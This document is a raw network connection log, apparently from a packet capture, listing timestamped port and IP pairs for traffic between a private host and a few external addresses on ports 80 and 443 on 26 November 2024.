Nov 26, 2024 16:31:18.556904078 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.563096046 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.563154936 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.563297033 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.563354015 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.567867994 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:18.567934990 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:18.568427086 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.568491936 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.568773985 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:18.568782091 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:18.569421053 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:18.569426060 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:18.729495049 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.729501009 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.729762077 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.731261015 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731271982 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731282949 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731337070 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731348038 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731357098 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731364965 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.731370926 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731400013 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731409073 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731421947 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.731426001 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731436968 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731458902 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.731458902 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.731502056 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731539011 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731549978 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731555939 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.731575012 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731585979 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731611013 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731625080 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731631994 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.731631994 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.731647968 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731658936 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731682062 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731683016 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.731694937 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731719971 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731729031 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731738091 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731746912 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731758118 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731762886 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731762886 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.731762886 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.731787920 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731798887 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731803894 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.731810093 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731821060 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731829882 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731841087 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731846094 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.731846094 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.731873035 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731884956 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731897116 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.731897116 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.731900930 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731911898 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731936932 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731939077 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.731947899 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731959105 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731969118 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731970072 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.731981993 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.731993914 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.732006073 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.732008934 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.732014894 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.732033968 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.732043982 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.732053995 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.732053995 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.732062101 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.732063055 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.732075930 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.732080936 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:18.732090950 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.732095957 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.732098103 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.732106924 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:18.732130051 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:18.732153893 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.732153893 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.732158899 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:18.732187986 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:18.732213974 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:18.732317924 CET	443	49730	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:18.732338905 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:18.732506037 CET	443	49730	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:18.732645035 CET	49730	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:18.732799053 CET	49730	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:18.734740973 CET	49730	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:18.734740973 CET	49730	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:18.734781981 CET	443	49730	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:18.736960888 CET	49730	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:18.875320911 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.875334978 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.875346899 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.875416040 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.875416040 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.886076927 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886087894 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886097908 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886107922 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886117935 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886127949 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886137962 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886147976 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886157036 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886164904 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.886168003 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886181116 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886189938 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886198044 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.886202097 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886251926 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.886251926 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.886259079 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886271000 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886280060 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886290073 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886316061 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886326075 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886347055 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.886356115 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886358976 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.886365891 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886384964 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886395931 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886405945 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886415958 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886416912 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.886432886 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.886442900 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886455059 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886465073 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886478901 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886481047 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.886498928 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886509895 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.886517048 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886528015 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886537075 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886542082 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.886542082 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.886548042 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886564970 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886591911 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.886591911 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.886600971 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.886641026 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.886641026 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.887197971 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.888053894 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.888232946 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.888396978 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.889589071 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.889807940 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.889870882 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.890204906 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.891740084 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.891956091 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.892298937 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.892394066 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.893266916 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.893673897 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.893971920 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.895437956 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.895870924 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.895971060 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.897433996 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.897509098 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.897802114 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.897866964 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.899159908 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.899225950 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.899404049 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.899454117 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.900881052 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.900980949 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.901213884 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.901357889 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.903187990 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.903198957 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.903291941 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.904530048 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.904659033 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.905073881 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.905544996 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.906191111 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.906354904 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.907021046 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.907138109 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.910083055 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.910217047 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.910897970 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.911936998 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.912673950 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.912750006 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.912853956 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.913060904 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.980237961 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.980252028 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.980596066 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.982269049 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.982280016 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.984086037 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.984098911 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.984553099 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.985817909 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.985825062 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.986454010 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.987144947 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.987158060 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.988480091 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.988493919 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.988528967 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.990170002 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.990191936 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.990276098 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:18.990287066 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:18.990317106 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:18.990376949 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:18.990377903 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.990391016 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:18.990421057 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:18.993263960 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.993273973 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.993292093 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:18.994100094 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.995918989 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.995932102 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.996015072 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:18.996592999 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:18.996697903 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314228058 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314251900 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314265013 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314280987 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314292908 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314304113 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314330101 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314342976 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314356089 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314368963 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314380884 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314383984 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314393997 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314405918 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314409971 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314409971 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314424992 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314438105 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314461946 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314462900 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314462900 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314475060 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314486980 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314498901 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314507961 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314507961 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314516068 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314548969 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314563036 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314573050 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314575911 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314587116 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314598083 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314605951 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314610004 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314646006 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314717054 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314732075 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314755917 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314762115 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314781904 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314795017 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314799070 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314807892 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314820051 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314831018 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314836979 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314836979 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314877033 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314893961 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314898014 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314905882 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314918041 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314929008 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314940929 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314949036 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314949036 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314970970 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314984083 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.314986944 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.314990997 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314990997 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.314999104 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.315001011 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315012932 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315021038 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.315021992 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.315026045 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315038919 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315049887 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.315051079 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315059900 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:19.315063953 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315076113 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315088034 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315095901 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:19.315103054 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.315104961 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.315115929 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315129042 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315135956 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.315141916 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315154076 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315159082 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.315166950 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315171957 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.315175056 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:19.315180063 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315212011 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.315216064 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315229893 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315241098 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.315243959 CET	80	49720	185.215.113.206	192.168.2.6
